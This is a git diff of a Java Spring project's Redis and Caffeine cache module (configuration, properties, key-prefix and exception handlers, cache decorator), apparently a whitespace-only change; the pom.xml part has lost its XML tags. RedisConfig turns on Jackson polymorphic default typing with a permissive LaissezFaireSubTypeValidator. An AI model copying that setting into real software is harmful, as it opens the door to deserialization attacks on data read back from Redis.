a/ruoyi-common/ruoyi-common-redis/pom.xml b/ruoyi-common/ruoyi-common-redis/pom.xml index 038e938..09d0463 100644 --- a/ruoyi-common/ruoyi-common-redis/pom.xml +++ b/ruoyi-common/ruoyi-common-redis/pom.xml @@ -1,63 +1,63 @@ - - - - org.dromara - ruoyi-common - ${revision} - - 4.0.0 - - ruoyi-common-redis - - - ruoyi-common-redis 缓存服务 - - - - - - org.dromara - ruoyi-common-core - - - - - org.redisson - redisson-spring-boot-starter - - - - com.baomidou - lock4j-redisson-spring-boot-starter - - - - com.github.ben-manes.caffeine - caffeine - - - - com.fasterxml.jackson.datatype - jackson-datatype-jsr310 - - - org.thymeleaf - thymeleaf-spring6 - - - - - - - - - - - - - - - - + + + + org.dromara + ruoyi-common + ${revision} + + 4.0.0 + + ruoyi-common-redis + + + ruoyi-common-redis 缓存服务 + + + + + + org.dromara + ruoyi-common-core + + + + + org.redisson + redisson-spring-boot-starter + + + + com.baomidou + lock4j-redisson-spring-boot-starter + + + + com.github.ben-manes.caffeine + caffeine + + + + com.fasterxml.jackson.datatype + jackson-datatype-jsr310 + + + org.thymeleaf + thymeleaf-spring6 + + + + + + + + + + + + + + + + diff --git a/ruoyi-common/ruoyi-common-redis/src/main/java/org/dromara/common/redis/config/CacheConfig.java b/ruoyi-common/ruoyi-common-redis/src/main/java/org/dromara/common/redis/config/CacheConfig.java index d57ba4e..8e75532 100644 --- a/ruoyi-common/ruoyi-common-redis/src/main/java/org/dromara/common/redis/config/CacheConfig.java +++ b/ruoyi-common/ruoyi-common-redis/src/main/java/org/dromara/common/redis/config/CacheConfig.java @@ -1,45 +1,45 @@ -package org.dromara.common.redis.config; - -import com.github.benmanes.caffeine.cache.Cache; -import com.github.benmanes.caffeine.cache.Caffeine; -import org.dromara.common.redis.manager.PlusSpringCacheManager; -import org.springframework.boot.autoconfigure.AutoConfiguration; -import org.springframework.cache.CacheManager; -import org.springframework.cache.annotation.EnableCaching; -import org.springframework.context.annotation.Bean; - -import java.util.concurrent.TimeUnit; - -/** - * 缓存配置 - * - * @author Lion Li - */ -@AutoConfiguration -@EnableCaching -public class CacheConfig { - - /** - * caffeine 本地缓存处理器 - */ - @Bean - public Cache caffeine() { - return Caffeine.newBuilder() - // 设置最后一次写入或访问后经过固定时间过期 - .expireAfterWrite(30, TimeUnit.SECONDS) - // 初始的缓存空间大小 - .initialCapacity(100) - // 缓存的最大条数 - .maximumSize(1000) - .build(); - } - - /** - * 自定义缓存管理器 整合spring-cache - */ - @Bean - public CacheManager cacheManager() { - return new PlusSpringCacheManager(); - } - -} +package org.dromara.common.redis.config; + +import com.github.benmanes.caffeine.cache.Cache; +import com.github.benmanes.caffeine.cache.Caffeine; +import org.dromara.common.redis.manager.PlusSpringCacheManager; +import org.springframework.boot.autoconfigure.AutoConfiguration; +import org.springframework.cache.CacheManager; +import org.springframework.cache.annotation.EnableCaching; +import org.springframework.context.annotation.Bean; + +import java.util.concurrent.TimeUnit; + +/** + * 缓存配置 + * + * @author Lion Li + */ +@AutoConfiguration +@EnableCaching +public class CacheConfig { + + /** + * caffeine 本地缓存处理器 + */ + @Bean + public Cache caffeine() { + return Caffeine.newBuilder() + // 设置最后一次写入或访问后经过固定时间过期 + .expireAfterWrite(30, TimeUnit.SECONDS) + // 初始的缓存空间大小 + .initialCapacity(100) + // 缓存的最大条数 + .maximumSize(1000) + .build(); + } + + /** + * 自定义缓存管理器 整合spring-cache + */ + @Bean + public CacheManager cacheManager() { + return new PlusSpringCacheManager(); + } + +} diff --git a/ruoyi-common/ruoyi-common-redis/src/main/java/org/dromara/common/redis/config/RedisConfig.java b/ruoyi-common/ruoyi-common-redis/src/main/java/org/dromara/common/redis/config/RedisConfig.java index 7ba9475..6d1b62b 100644 --- a/ruoyi-common/ruoyi-common-redis/src/main/java/org/dromara/common/redis/config/RedisConfig.java +++ b/ruoyi-common/ruoyi-common-redis/src/main/java/org/dromara/common/redis/config/RedisConfig.java @@ -1,159 +1,159 @@ -package org.dromara.common.redis.config; - -import cn.hutool.core.util.ObjectUtil; -import com.fasterxml.jackson.annotation.JsonAutoDetect; -import com.fasterxml.jackson.annotation.PropertyAccessor; -import com.fasterxml.jackson.databind.ObjectMapper; -import com.fasterxml.jackson.databind.jsontype.impl.LaissezFaireSubTypeValidator; -import com.fasterxml.jackson.datatype.jsr310.JavaTimeModule; -import com.fasterxml.jackson.datatype.jsr310.deser.LocalDateTimeDeserializer; -import com.fasterxml.jackson.datatype.jsr310.ser.LocalDateTimeSerializer; -import lombok.extern.slf4j.Slf4j; -import org.dromara.common.core.utils.SpringUtils; -import org.dromara.common.redis.config.properties.RedissonProperties; -import org.dromara.common.redis.handler.KeyPrefixHandler; -import org.dromara.common.redis.handler.RedisExceptionHandler; -import org.redisson.client.codec.StringCodec; -import org.redisson.codec.CompositeCodec; -import org.redisson.codec.TypedJsonJacksonCodec; -import org.redisson.spring.starter.RedissonAutoConfigurationCustomizer; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.boot.autoconfigure.AutoConfiguration; -import org.springframework.boot.context.properties.EnableConfigurationProperties; -import org.springframework.context.annotation.Bean; -import org.springframework.core.task.VirtualThreadTaskExecutor; - -import java.time.LocalDateTime; -import java.time.format.DateTimeFormatter; -import java.util.TimeZone; - -/** - * redis配置 - * - * @author Lion Li - */ -@Slf4j -@AutoConfiguration -@EnableConfigurationProperties(RedissonProperties.class) -public class RedisConfig { - - @Autowired - private RedissonProperties redissonProperties; - - @Bean - public RedissonAutoConfigurationCustomizer redissonCustomizer() { - return config -> { - JavaTimeModule javaTimeModule = new JavaTimeModule(); - DateTimeFormatter formatter = DateTimeFormatter.ofPattern("yyyy-MM-dd HH:mm:ss"); - javaTimeModule.addSerializer(LocalDateTime.class, new LocalDateTimeSerializer(formatter)); - javaTimeModule.addDeserializer(LocalDateTime.class, new LocalDateTimeDeserializer(formatter)); - ObjectMapper om = new ObjectMapper(); - om.registerModule(javaTimeModule); - om.setTimeZone(TimeZone.getDefault()); - om.setVisibility(PropertyAccessor.ALL, JsonAutoDetect.Visibility.ANY); - // 指定序列化输入的类型,类必须是非final修饰的。序列化时将对象全类名一起保存下来 - om.activateDefaultTyping(LaissezFaireSubTypeValidator.instance, ObjectMapper.DefaultTyping.NON_FINAL); -// LoggerFactory.useSlf4jLogging(true); -// FuryCodec furyCodec = new FuryCodec(); -// CompositeCodec codec = new CompositeCodec(StringCodec.INSTANCE, furyCodec, furyCodec); - TypedJsonJacksonCodec jsonCodec = new TypedJsonJacksonCodec(Object.class, om); - // 组合序列化 key 使用 String 内容使用通用 json 格式 - CompositeCodec codec = new CompositeCodec(StringCodec.INSTANCE, jsonCodec, jsonCodec); - config.setThreads(redissonProperties.getThreads()) - .setNettyThreads(redissonProperties.getNettyThreads()) - // 缓存 Lua 脚本 减少网络传输(redisson 大部分的功能都是基于 Lua 脚本实现) - .setUseScriptCache(true) - .setCodec(codec); - if (SpringUtils.isVirtual()) { - config.setNettyExecutor(new VirtualThreadTaskExecutor("redisson-")); - } - RedissonProperties.SingleServerConfig singleServerConfig = redissonProperties.getSingleServerConfig(); - if (ObjectUtil.isNotNull(singleServerConfig)) { - // 使用单机模式 - config.useSingleServer() - //设置redis key前缀 - .setNameMapper(new KeyPrefixHandler(redissonProperties.getKeyPrefix())) - .setTimeout(singleServerConfig.getTimeout()) - .setClientName(singleServerConfig.getClientName()) - .setIdleConnectionTimeout(singleServerConfig.getIdleConnectionTimeout()) - .setSubscriptionConnectionPoolSize(singleServerConfig.getSubscriptionConnectionPoolSize()) - .setConnectionMinimumIdleSize(singleServerConfig.getConnectionMinimumIdleSize()) - .setConnectionPoolSize(singleServerConfig.getConnectionPoolSize()); - } - // 集群配置方式 参考下方注释 - RedissonProperties.ClusterServersConfig clusterServersConfig = redissonProperties.getClusterServersConfig(); - if (ObjectUtil.isNotNull(clusterServersConfig)) { - config.useClusterServers() - //设置redis key前缀 - .setNameMapper(new KeyPrefixHandler(redissonProperties.getKeyPrefix())) - .setTimeout(clusterServersConfig.getTimeout()) - .setClientName(clusterServersConfig.getClientName()) - .setIdleConnectionTimeout(clusterServersConfig.getIdleConnectionTimeout()) - .setSubscriptionConnectionPoolSize(clusterServersConfig.getSubscriptionConnectionPoolSize()) - .setMasterConnectionMinimumIdleSize(clusterServersConfig.getMasterConnectionMinimumIdleSize()) - .setMasterConnectionPoolSize(clusterServersConfig.getMasterConnectionPoolSize()) - .setSlaveConnectionMinimumIdleSize(clusterServersConfig.getSlaveConnectionMinimumIdleSize()) - .setSlaveConnectionPoolSize(clusterServersConfig.getSlaveConnectionPoolSize()) - .setReadMode(clusterServersConfig.getReadMode()) - .setSubscriptionMode(clusterServersConfig.getSubscriptionMode()); - } - log.info("初始化 redis 配置"); - }; - } - - /** - * 异常处理器 - */ - @Bean - public RedisExceptionHandler redisExceptionHandler() { - return new RedisExceptionHandler(); - } - - /** - * redis集群配置 yml - * - * --- # redis 集群配置(单机与集群只能开启一个另一个需要注释掉) - * spring.data: - * redis: - * cluster: - * nodes: - * - 192.168.0.100:6379 - * - 192.168.0.101:6379 - * - 192.168.0.102:6379 - * # 密码 - * password: - * # 连接超时时间 - * timeout: 10s - * # 是否开启ssl - * ssl.enabled: false - * - * redisson: - * # 线程池数量 - * threads: 16 - * # Netty线程池数量 - * nettyThreads: 32 - * # 集群配置 - * clusterServersConfig: - * # 客户端名称 - * clientName: ${ruoyi.name} - * # master最小空闲连接数 - * masterConnectionMinimumIdleSize: 32 - * # master连接池大小 - * masterConnectionPoolSize: 64 - * # slave最小空闲连接数 - * slaveConnectionMinimumIdleSize: 32 - * # slave连接池大小 - * slaveConnectionPoolSize: 64 - * # 连接空闲超时,单位:毫秒 - * idleConnectionTimeout: 10000 - * # 命令等待超时,单位:毫秒 - * timeout: 3000 - * # 发布和订阅连接池大小 - * subscriptionConnectionPoolSize: 50 - * # 读取模式 - * readMode: "SLAVE" - * # 订阅模式 - * subscriptionMode: "MASTER" - */ - -} +package org.dromara.common.redis.config; + +import cn.hutool.core.util.ObjectUtil; +import com.fasterxml.jackson.annotation.JsonAutoDetect; +import com.fasterxml.jackson.annotation.PropertyAccessor; +import com.fasterxml.jackson.databind.ObjectMapper; +import com.fasterxml.jackson.databind.jsontype.impl.LaissezFaireSubTypeValidator; +import com.fasterxml.jackson.datatype.jsr310.JavaTimeModule; +import com.fasterxml.jackson.datatype.jsr310.deser.LocalDateTimeDeserializer; +import com.fasterxml.jackson.datatype.jsr310.ser.LocalDateTimeSerializer; +import lombok.extern.slf4j.Slf4j; +import org.dromara.common.core.utils.SpringUtils; +import org.dromara.common.redis.config.properties.RedissonProperties; +import org.dromara.common.redis.handler.KeyPrefixHandler; +import org.dromara.common.redis.handler.RedisExceptionHandler; +import org.redisson.client.codec.StringCodec; +import org.redisson.codec.CompositeCodec; +import org.redisson.codec.TypedJsonJacksonCodec; +import org.redisson.spring.starter.RedissonAutoConfigurationCustomizer; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.autoconfigure.AutoConfiguration; +import org.springframework.boot.context.properties.EnableConfigurationProperties; +import org.springframework.context.annotation.Bean; +import org.springframework.core.task.VirtualThreadTaskExecutor; + +import java.time.LocalDateTime; +import java.time.format.DateTimeFormatter; +import java.util.TimeZone; + +/** + * redis配置 + * + * @author Lion Li + */ +@Slf4j +@AutoConfiguration +@EnableConfigurationProperties(RedissonProperties.class) +public class RedisConfig { + + @Autowired + private RedissonProperties redissonProperties; + + @Bean + public RedissonAutoConfigurationCustomizer redissonCustomizer() { + return config -> { + JavaTimeModule javaTimeModule = new JavaTimeModule(); + DateTimeFormatter formatter = DateTimeFormatter.ofPattern("yyyy-MM-dd HH:mm:ss"); + javaTimeModule.addSerializer(LocalDateTime.class, new LocalDateTimeSerializer(formatter)); + javaTimeModule.addDeserializer(LocalDateTime.class, new LocalDateTimeDeserializer(formatter)); + ObjectMapper om = new ObjectMapper(); + om.registerModule(javaTimeModule); + om.setTimeZone(TimeZone.getDefault()); + om.setVisibility(PropertyAccessor.ALL, JsonAutoDetect.Visibility.ANY); + // 指定序列化输入的类型,类必须是非final修饰的。序列化时将对象全类名一起保存下来 + om.activateDefaultTyping(LaissezFaireSubTypeValidator.instance, ObjectMapper.DefaultTyping.NON_FINAL); +// LoggerFactory.useSlf4jLogging(true); +// FuryCodec furyCodec = new FuryCodec(); +// CompositeCodec codec = new CompositeCodec(StringCodec.INSTANCE, furyCodec, furyCodec); + TypedJsonJacksonCodec jsonCodec = new TypedJsonJacksonCodec(Object.class, om); + // 组合序列化 key 使用 String 内容使用通用 json 格式 + CompositeCodec codec = new CompositeCodec(StringCodec.INSTANCE, jsonCodec, jsonCodec); + config.setThreads(redissonProperties.getThreads()) + .setNettyThreads(redissonProperties.getNettyThreads()) + // 缓存 Lua 脚本 减少网络传输(redisson 大部分的功能都是基于 Lua 脚本实现) + .setUseScriptCache(true) + .setCodec(codec); + if (SpringUtils.isVirtual()) { + config.setNettyExecutor(new VirtualThreadTaskExecutor("redisson-")); + } + RedissonProperties.SingleServerConfig singleServerConfig = redissonProperties.getSingleServerConfig(); + if (ObjectUtil.isNotNull(singleServerConfig)) { + // 使用单机模式 + config.useSingleServer() + //设置redis key前缀 + .setNameMapper(new KeyPrefixHandler(redissonProperties.getKeyPrefix())) + .setTimeout(singleServerConfig.getTimeout()) + .setClientName(singleServerConfig.getClientName()) + .setIdleConnectionTimeout(singleServerConfig.getIdleConnectionTimeout()) + .setSubscriptionConnectionPoolSize(singleServerConfig.getSubscriptionConnectionPoolSize()) + .setConnectionMinimumIdleSize(singleServerConfig.getConnectionMinimumIdleSize()) + .setConnectionPoolSize(singleServerConfig.getConnectionPoolSize()); + } + // 集群配置方式 参考下方注释 + RedissonProperties.ClusterServersConfig clusterServersConfig = redissonProperties.getClusterServersConfig(); + if (ObjectUtil.isNotNull(clusterServersConfig)) { + config.useClusterServers() + //设置redis key前缀 + .setNameMapper(new KeyPrefixHandler(redissonProperties.getKeyPrefix())) + .setTimeout(clusterServersConfig.getTimeout()) + .setClientName(clusterServersConfig.getClientName()) + .setIdleConnectionTimeout(clusterServersConfig.getIdleConnectionTimeout()) + .setSubscriptionConnectionPoolSize(clusterServersConfig.getSubscriptionConnectionPoolSize()) + .setMasterConnectionMinimumIdleSize(clusterServersConfig.getMasterConnectionMinimumIdleSize()) + .setMasterConnectionPoolSize(clusterServersConfig.getMasterConnectionPoolSize()) + .setSlaveConnectionMinimumIdleSize(clusterServersConfig.getSlaveConnectionMinimumIdleSize()) + .setSlaveConnectionPoolSize(clusterServersConfig.getSlaveConnectionPoolSize()) + .setReadMode(clusterServersConfig.getReadMode()) + .setSubscriptionMode(clusterServersConfig.getSubscriptionMode()); + } + log.info("初始化 redis 配置"); + }; + } + + /** + * 异常处理器 + */ + @Bean + public RedisExceptionHandler redisExceptionHandler() { + return new RedisExceptionHandler(); + } + + /** + * redis集群配置 yml + * + * --- # redis 集群配置(单机与集群只能开启一个另一个需要注释掉) + * spring.data: + * redis: + * cluster: + * nodes: + * - 192.168.0.100:6379 + * - 192.168.0.101:6379 + * - 192.168.0.102:6379 + * # 密码 + * password: + * # 连接超时时间 + * timeout: 10s + * # 是否开启ssl + * ssl.enabled: false + * + * redisson: + * # 线程池数量 + * threads: 16 + * # Netty线程池数量 + * nettyThreads: 32 + * # 集群配置 + * clusterServersConfig: + * # 客户端名称 + * clientName: ${ruoyi.name} + * # master最小空闲连接数 + * masterConnectionMinimumIdleSize: 32 + * # master连接池大小 + * masterConnectionPoolSize: 64 + * # slave最小空闲连接数 + * slaveConnectionMinimumIdleSize: 32 + * # slave连接池大小 + * slaveConnectionPoolSize: 64 + * # 连接空闲超时,单位:毫秒 + * idleConnectionTimeout: 10000 + * # 命令等待超时,单位:毫秒 + * timeout: 3000 + * # 发布和订阅连接池大小 + * subscriptionConnectionPoolSize: 50 + * # 读取模式 + * readMode: "SLAVE" + * # 订阅模式 + * subscriptionMode: "MASTER" + */ + +} diff --git a/ruoyi-common/ruoyi-common-redis/src/main/java/org/dromara/common/redis/config/properties/RedissonProperties.java b/ruoyi-common/ruoyi-common-redis/src/main/java/org/dromara/common/redis/config/properties/RedissonProperties.java index ebec786..21b45fb 100644 --- a/ruoyi-common/ruoyi-common-redis/src/main/java/org/dromara/common/redis/config/properties/RedissonProperties.java +++ b/ruoyi-common/ruoyi-common-redis/src/main/java/org/dromara/common/redis/config/properties/RedissonProperties.java @@ -1,135 +1,135 @@ -package org.dromara.common.redis.config.properties; - -import lombok.Data; -import lombok.NoArgsConstructor; -import org.redisson.config.ReadMode; -import org.redisson.config.SubscriptionMode; -import org.springframework.boot.context.properties.ConfigurationProperties; - -/** - * Redisson 配置属性 - * - * @author Lion Li - */ -@Data -@ConfigurationProperties(prefix = "redisson") -public class RedissonProperties { - - /** - * redis缓存key前缀 - */ - private String keyPrefix; - - /** - * 线程池数量,默认值 = 当前处理核数量 * 2 - */ - private int threads; - - /** - * Netty线程池数量,默认值 = 当前处理核数量 * 2 - */ - private int nettyThreads; - - /** - * 单机服务配置 - */ - private SingleServerConfig singleServerConfig; - - /** - * 集群服务配置 - */ - private ClusterServersConfig clusterServersConfig; - - @Data - @NoArgsConstructor - public static class SingleServerConfig { - - /** - * 客户端名称 - */ - private String clientName; - - /** - * 最小空闲连接数 - */ - private int connectionMinimumIdleSize; - - /** - * 连接池大小 - */ - private int connectionPoolSize; - - /** - * 连接空闲超时,单位:毫秒 - */ - private int idleConnectionTimeout; - - /** - * 命令等待超时,单位:毫秒 - */ - private int timeout; - - /** - * 发布和订阅连接池大小 - */ - private int subscriptionConnectionPoolSize; - - } - - @Data - @NoArgsConstructor - public static class ClusterServersConfig { - - /** - * 客户端名称 - */ - private String clientName; - - /** - * master最小空闲连接数 - */ - private int masterConnectionMinimumIdleSize; - - /** - * master连接池大小 - */ - private int masterConnectionPoolSize; - - /** - * slave最小空闲连接数 - */ - private int slaveConnectionMinimumIdleSize; - - /** - * slave连接池大小 - */ - private int slaveConnectionPoolSize; - - /** - * 连接空闲超时,单位:毫秒 - */ - private int idleConnectionTimeout; - - /** - * 命令等待超时,单位:毫秒 - */ - private int timeout; - - /** - * 发布和订阅连接池大小 - */ - private int subscriptionConnectionPoolSize; - - /** - * 读取模式 - */ - private ReadMode readMode; - - /** - * 订阅模式 - */ - private SubscriptionMode subscriptionMode; - - } - -} +package org.dromara.common.redis.config.properties; + +import lombok.Data; +import lombok.NoArgsConstructor; +import org.redisson.config.ReadMode; +import org.redisson.config.SubscriptionMode; +import org.springframework.boot.context.properties.ConfigurationProperties; + +/** + * Redisson 配置属性 + * + * @author Lion Li + */ +@Data +@ConfigurationProperties(prefix = "redisson") +public class RedissonProperties { + + /** + * redis缓存key前缀 + */ + private String keyPrefix; + + /** + * 线程池数量,默认值 = 当前处理核数量 * 2 + */ + private int threads; + + /** + * Netty线程池数量,默认值 = 当前处理核数量 * 2 + */ + private int nettyThreads; + + /** + * 单机服务配置 + */ + private SingleServerConfig singleServerConfig; + + /** + * 集群服务配置 + */ + private ClusterServersConfig clusterServersConfig; + + @Data + @NoArgsConstructor + public static class SingleServerConfig { + + /** + * 客户端名称 + */ + private String clientName; + + /** + * 最小空闲连接数 + */ + private int connectionMinimumIdleSize; + + /** + * 连接池大小 + */ + private int connectionPoolSize; + + /** + * 连接空闲超时,单位:毫秒 + */ + private int idleConnectionTimeout; + + /** + * 命令等待超时,单位:毫秒 + */ + private int timeout; + + /** + * 发布和订阅连接池大小 + */ + private int subscriptionConnectionPoolSize; + + } + + @Data + @NoArgsConstructor + public static class ClusterServersConfig { + + /** + * 客户端名称 + */ + private String clientName; + + /** + * master最小空闲连接数 + */ + private int masterConnectionMinimumIdleSize; + + /** + * master连接池大小 + */ + private int masterConnectionPoolSize; + + /** + * slave最小空闲连接数 + */ + private int slaveConnectionMinimumIdleSize; + + /** + * slave连接池大小 + */ + private int slaveConnectionPoolSize; + + /** + * 连接空闲超时,单位:毫秒 + */ + private int idleConnectionTimeout; + + /** + * 命令等待超时,单位:毫秒 + */ + private int timeout; + + /** + * 发布和订阅连接池大小 + */ + private int subscriptionConnectionPoolSize; + + /** + * 读取模式 + */ + private ReadMode readMode; + + /** + * 订阅模式 + */ + private SubscriptionMode subscriptionMode; + + } + +} diff --git a/ruoyi-common/ruoyi-common-redis/src/main/java/org/dromara/common/redis/handler/KeyPrefixHandler.java b/ruoyi-common/ruoyi-common-redis/src/main/java/org/dromara/common/redis/handler/KeyPrefixHandler.java index 3bf3e34..214f13a 100644 --- a/ruoyi-common/ruoyi-common-redis/src/main/java/org/dromara/common/redis/handler/KeyPrefixHandler.java +++ b/ruoyi-common/ruoyi-common-redis/src/main/java/org/dromara/common/redis/handler/KeyPrefixHandler.java @@ -1,50 +1,50 @@ -package org.dromara.common.redis.handler; - -import org.dromara.common.core.utils.StringUtils; -import org.redisson.api.NameMapper; - -/** - * redis缓存key前缀处理 - * - * @author ye - * @date 2022/7/14 17:44 - * @since 4.3.0 - */ -public class KeyPrefixHandler implements NameMapper { - - private final String keyPrefix; - - public KeyPrefixHandler(String keyPrefix) { - //前缀为空 则返回空前缀 - this.keyPrefix = StringUtils.isBlank(keyPrefix) ? "" : keyPrefix + ":"; - } - - /** - * 增加前缀 - */ - @Override - public String map(String name) { - if (StringUtils.isBlank(name)) { - return null; - } - if (StringUtils.isNotBlank(keyPrefix) && !name.startsWith(keyPrefix)) { - return keyPrefix + name; - } - return name; - } - - /** - * 去除前缀 - */ - @Override - public String unmap(String name) { - if (StringUtils.isBlank(name)) { - return null; - } - if (StringUtils.isNotBlank(keyPrefix) && name.startsWith(keyPrefix)) { - return name.substring(keyPrefix.length()); - } - return name; - } - -} +package org.dromara.common.redis.handler; + +import org.dromara.common.core.utils.StringUtils; +import org.redisson.api.NameMapper; + +/** + * redis缓存key前缀处理 + * + * @author ye + * @date 2022/7/14 17:44 + * @since 4.3.0 + */ +public class KeyPrefixHandler implements NameMapper { + + private final String keyPrefix; + + public KeyPrefixHandler(String keyPrefix) { + //前缀为空 则返回空前缀 + this.keyPrefix = StringUtils.isBlank(keyPrefix) ? "" : keyPrefix + ":"; + } + + /** + * 增加前缀 + */ + @Override + public String map(String name) { + if (StringUtils.isBlank(name)) { + return null; + } + if (StringUtils.isNotBlank(keyPrefix) && !name.startsWith(keyPrefix)) { + return keyPrefix + name; + } + return name; + } + + /** + * 去除前缀 + */ + @Override + public String unmap(String name) { + if (StringUtils.isBlank(name)) { + return null; + } + if (StringUtils.isNotBlank(keyPrefix) && name.startsWith(keyPrefix)) { + return name.substring(keyPrefix.length()); + } + return name; + } + +} diff --git a/ruoyi-common/ruoyi-common-redis/src/main/java/org/dromara/common/redis/handler/RedisExceptionHandler.java b/ruoyi-common/ruoyi-common-redis/src/main/java/org/dromara/common/redis/handler/RedisExceptionHandler.java index 5e904f3..8297ae0 100644 --- a/ruoyi-common/ruoyi-common-redis/src/main/java/org/dromara/common/redis/handler/RedisExceptionHandler.java +++ b/ruoyi-common/ruoyi-common-redis/src/main/java/org/dromara/common/redis/handler/RedisExceptionHandler.java @@ -1,30 +1,30 @@ -package org.dromara.common.redis.handler; - -import cn.hutool.http.HttpStatus; -import com.baomidou.lock.exception.LockFailureException; -import jakarta.servlet.http.HttpServletRequest; -import lombok.extern.slf4j.Slf4j; -import org.dromara.common.core.domain.R; -import org.springframework.web.bind.annotation.ExceptionHandler; -import org.springframework.web.bind.annotation.RestControllerAdvice; - -/** - * Redis异常处理器 - * - * @author AprilWind - */ -@Slf4j -@RestControllerAdvice -public class RedisExceptionHandler { - - /** - * 分布式锁Lock4j异常 - */ - @ExceptionHandler(LockFailureException.class) - public R handleLockFailureException(LockFailureException e, HttpServletRequest request) { - String requestURI = request.getRequestURI(); - log.error("获取锁失败了'{}',发生Lock4j异常.", requestURI, e); - return R.fail(HttpStatus.HTTP_UNAVAILABLE, "业务处理中,请稍后再试..."); - } - -} +package org.dromara.common.redis.handler; + +import cn.hutool.http.HttpStatus; +import com.baomidou.lock.exception.LockFailureException; +import jakarta.servlet.http.HttpServletRequest; +import lombok.extern.slf4j.Slf4j; +import org.dromara.common.core.domain.R; +import org.springframework.web.bind.annotation.ExceptionHandler; +import org.springframework.web.bind.annotation.RestControllerAdvice; + +/** + * Redis异常处理器 + * + * @author AprilWind + */ +@Slf4j +@RestControllerAdvice +public class RedisExceptionHandler { + + /** + * 分布式锁Lock4j异常 + */ + @ExceptionHandler(LockFailureException.class) + public R handleLockFailureException(LockFailureException e, HttpServletRequest request) { + String requestURI = request.getRequestURI(); + log.error("获取锁失败了'{}',发生Lock4j异常.", requestURI, e); + return R.fail(HttpStatus.HTTP_UNAVAILABLE, "业务处理中,请稍后再试..."); + } + +} diff --git a/ruoyi-common/ruoyi-common-redis/src/main/java/org/dromara/common/redis/manager/CaffeineCacheDecorator.java b/ruoyi-common/ruoyi-common-redis/src/main/java/org/dromara/common/redis/manager/CaffeineCacheDecorator.java index 6e83df1..4ffbbba 100644 --- a/ruoyi-common/ruoyi-common-redis/src/main/java/org/dromara/common/redis/manager/CaffeineCacheDecorator.java +++ b/ruoyi-common/ruoyi-common-redis/src/main/java/org/dromara/common/redis/manager/CaffeineCacheDecorator.java @@ -1,96 +1,96 @@ -package org.dromara.common.redis.manager; - -import org.dromara.common.core.utils.SpringUtils; -import org.springframework.cache.Cache; - -import java.util.concurrent.Callable; - -/** - * Cache 装饰器模式(用于扩展 Caffeine 一级缓存) - * - * @author LionLi - */ -public class CaffeineCacheDecorator implements Cache { - - private static final com.github.benmanes.caffeine.cache.Cache - CAFFEINE = SpringUtils.getBean("caffeine"); - - private final String name; - private final Cache cache; - - public CaffeineCacheDecorator(String name, Cache cache) { - this.name = name; - this.cache = cache; - } - - @Override - public String getName() { - return name; - } - - @Override - public Object getNativeCache() { - return cache.getNativeCache(); - } - - public String getUniqueKey(Object key) { - return name + ":" + key; - } - - @Override - public ValueWrapper get(Object key) { - Object o = CAFFEINE.get(getUniqueKey(key), k -> cache.get(key)); - return (ValueWrapper) o; - } - - @SuppressWarnings("unchecked") - @Override - public T get(Object key, Class type) { - Object o = CAFFEINE.get(getUniqueKey(key), k -> cache.get(key, type)); - return (T) o; - } - - @Override - public void put(Object key, Object value) { - CAFFEINE.invalidate(getUniqueKey(key)); - cache.put(key, value); - } - - @Override - public ValueWrapper putIfAbsent(Object key, Object value) { - CAFFEINE.invalidate(getUniqueKey(key)); - return cache.putIfAbsent(key, value); - } - - @Override - public void evict(Object key) { - evictIfPresent(key); - } - - @Override - public boolean evictIfPresent(Object key) { - boolean b = cache.evictIfPresent(key); - if (b) { - CAFFEINE.invalidate(getUniqueKey(key)); - } - return b; - } - - @Override - public void clear() { - cache.clear(); - } - - @Override - public boolean invalidate() { - return cache.invalidate(); - } - - @SuppressWarnings("unchecked") - @Override - public T get(Object key, Callable valueLoader) { - Object o = CAFFEINE.get(getUniqueKey(key), k -> cache.get(key, valueLoader)); - return (T) o; - } - -} +package org.dromara.common.redis.manager; + +import org.dromara.common.core.utils.SpringUtils; +import org.springframework.cache.Cache; + +import java.util.concurrent.Callable; + +/** + * Cache 装饰器模式(用于扩展 Caffeine 一级缓存) + * + * @author LionLi + */ +public class CaffeineCacheDecorator implements Cache { + + private static final com.github.benmanes.caffeine.cache.Cache + CAFFEINE = SpringUtils.getBean("caffeine"); + + private final String name; + private final Cache cache; + + public CaffeineCacheDecorator(String name, Cache cache) { + this.name = name; + this.cache = cache; + } + + @Override + public String getName() { + return name; + } + + @Override + public Object getNativeCache() { + return cache.getNativeCache(); + } + + public String getUniqueKey(Object key) { + return name + ":" + key; + } + + @Override + public ValueWrapper get(Object key) { + Object o = CAFFEINE.get(getUniqueKey(key), k -> cache.get(key)); + return (ValueWrapper) o; + } + + @SuppressWarnings("unchecked") + @Override + public T get(Object key, Class type) { + Object o = CAFFEINE.get(getUniqueKey(key), k -> cache.get(key, type)); + return (T) o; + } + + @Override + public void put(Object key, Object value) { + CAFFEINE.invalidate(getUniqueKey(key)); + cache.put(key, value); + } + + @Override + public ValueWrapper putIfAbsent(Object key, Object value) { + CAFFEINE.invalidate(getUniqueKey(key)); + return cache.putIfAbsent(key, value); + } + + @Override + public void evict(Object key) { + evictIfPresent(key); + } + + @Override + public boolean evictIfPresent(Object key) { + boolean b = cache.evictIfPresent(key); + if (b) { + CAFFEINE.invalidate(getUniqueKey(key)); + } + return b; + } + + @Override + public void clear() { + cache.clear(); + } + + @Override + public boolean invalidate() { + return cache.invalidate(); + } + + @SuppressWarnings("unchecked") + @Override + public T get(Object key, Callable valueLoader) { + Object o = CAFFEINE.get(getUniqueKey(key), k -> cache.get(key, valueLoader)); + return (T) o; + } + +} diff --git a/ruoyi-common/ruoyi-common-redis/src/main/java/org/dromara/common/redis/manager/PlusSpringCacheManager.java b/ruoyi-common/ruoyi-common-redis/src/main/java/org/dromara/common/redis/manager/PlusSpringCacheManager.java index 740e2a1..45761d3 100644 --- a/ruoyi-common/ruoyi-common-redis/src/main/java/org/dromara/common/redis/manager/PlusSpringCacheManager.java +++ b/ruoyi-common/ruoyi-common-redis/src/main/java/org/dromara/common/redis/manager/PlusSpringCacheManager.java @@ -1,192 +1,192 @@ -/** - * Copyright (c) 2013-2021 Nikita Koksharov - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package org.dromara.common.redis.manager; - 